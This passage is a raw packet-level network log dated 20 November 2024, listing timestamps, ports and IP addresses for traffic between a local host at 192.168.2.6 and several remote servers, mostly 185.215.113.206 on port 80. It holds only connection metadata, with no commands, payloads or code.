Nov 20, 2024 14:43:44.749499083 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.749515057 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.749547958 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.750524998 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.750571966 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.751373053 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.751426935 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.751508951 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.751543045 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.751559019 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.751591921 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.752511978 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.752568960 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.752998114 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.753074884 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.753587961 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.753623009 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.753634930 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.753664017 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.754579067 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.754630089 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.754698038 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.754818916 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.755597115 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.755718946 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.755794048 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.755851030 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.756594896 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.756653070 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.756849051 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.756903887 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.757589102 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.757647038 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.758651018 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.758691072 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.758709908 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.758755922 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.758780003 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.759645939 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.759701967 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.760041952 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.760313988 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.760639906 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.760721922 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.760802984 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.760910988 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.761658907 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.761717081 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.761795044 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.761945009 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.762758970 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.762794018 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.762814999 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.762846947 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.763700962 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.763761997 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.764528990 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.764585972 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.764707088 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.764837980 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.764976025 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.765027046 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.765733957 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.765783072 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.766824007 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.766855955 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.766884089 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.766891956 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.766916990 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.766937971 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.767769098 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.767823935 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.768193007 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.768271923 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.768824100 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.768858910 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.768877983 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.768918991 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.769819975 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.769903898 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.770937920 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.770972013 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.770996094 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.771008015 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.771018982 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.771055937 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.771871090 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.771929026 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.771948099 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.771996021 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.773086071 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.773137093 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.773204088 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.773252010 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.773889065 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.773967981 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.774607897 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.774663925 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.774945021 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.774996042 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.775011063 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.775065899 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.776010990 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.776046991 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.776077986 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.776108027 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.776961088 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.777965069 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.778018951 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.778037071 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.778055906 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.778081894 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.778110027 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.779005051 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.779058933 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.779083967 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.779103994 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.779995918 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.780047894 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.780114889 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.780169964 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.780994892 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.781083107 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.781136036 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.782140017 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.782175064 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.782191038 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.782224894 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.783124924 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.783224106 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.783463955 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.783570051 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.784145117 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.784245968 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.784308910 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.785101891 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.785167933 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.785527945 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.785587072 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.786104918 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.786165953 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.786520958 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.786580086 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.787178993 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.787215948 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.787245035 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.788126945 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.788162947 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.788193941 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.788971901 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.789194107 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.789247990 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.789284945 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.789323092 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.790158033 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.790219069 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.843285084 CET	443	49844	18.165.220.57	192.168.2.6
Nov 20, 2024 14:43:44.843374968 CET	443	49844	18.165.220.57	192.168.2.6
Nov 20, 2024 14:43:44.843462944 CET	49844	443	192.168.2.6	18.165.220.57
Nov 20, 2024 14:43:44.853671074 CET	49844	443	192.168.2.6	18.165.220.57
Nov 20, 2024 14:43:44.853679895 CET	443	49844	18.165.220.57	192.168.2.6
Nov 20, 2024 14:43:44.856659889 CET	443	49879	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:44.856957912 CET	49879	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:44.856976032 CET	443	49879	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:44.857513905 CET	443	49879	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:44.858315945 CET	49879	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:44.858458996 CET	443	49879	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:44.858984947 CET	49879	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:44.903330088 CET	443	49879	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:44.915910006 CET	443	49880	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:44.916552067 CET	49880	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:44.916605949 CET	443	49880	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:44.917069912 CET	49880	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:44.917083979 CET	443	49880	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:44.942739010 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.942853928 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.942888975 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.942934990 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.943201065 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.943238020 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.943264961 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.943335056 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.944283009 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.944319010 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.944349051 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.944372892 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.945391893 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.945430040 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.945452929 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.945482016 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.946759939 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.946827888 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.946912050 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.946968079 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.947340012 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.947407961 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.947922945 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.948128939 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.948381901 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.948707104 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.948832035 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.949120998 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.949444056 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.949500084 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.949752092 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.949817896 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.950377941 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.950686932 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.950845957 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.950963020 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.951488972 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.951570034 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.951926947 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.951988935 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.952411890 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.952471018 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.952730894 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.952794075 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.953499079 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.953588963 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.953955889 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.954035044 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.954462051 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.954528093 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.954849005 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.954900026 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.954947948 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.954952002 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.954998970 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.955003023 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.955038071 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.955051899 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.955073118 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.955080986 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.955108881 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.955121994 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.955156088 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.955238104 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.955272913 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.955323935 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.955430031 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.955492020 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.956018925 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.956082106 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.956391096 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.956451893 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.956742048 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.956882000 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.957422972 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.957479000 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.957647085 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.957739115 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.958458900 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.958514929 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.959194899 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.959261894 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.959436893 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.959616899 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.960516930 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.960551977 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.960582018 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.960587978 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.960602999 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.960642099 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.961524963 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.961623907 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.962304115 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.962363005 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.962546110 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.962636948 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.962649107 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.962699890 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.963538885 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.963603020 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.964617014 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.964651108 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.964685917 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.964704037 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.964771986 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.965568066 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.965641975 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.965704918 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.965759039 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.966592073 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.966665030 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.966727018 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.966913939 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.967674971 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.967709064 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.967741013 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.967777014 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.968626022 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.968694925 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.968971014 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.969130993 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.969683886 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.969774008 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.970304966 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.970405102 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.970740080 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.970773935 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.970799923 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.970817089 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.972192049 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.972243071 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.972255945 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.972291946 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.972711086 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.972775936 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.973001957 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.973062992 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.973747015 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.973805904 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.973886013 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.973970890 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.974747896 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.974805117 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.974864006 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.974917889 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.975759983 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.975794077 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.975824118 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.975838900 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.976785898 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.976861000 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.977056980 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.977106094 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.977807999 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.977890968 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.978447914 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.978565931 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.978821039 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.978883028 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.979038000 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.979142904 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.979995012 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.980063915 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.980864048 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.980916977 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.980935097 CET	49800	80	192.168.2.6	185.215.113.206
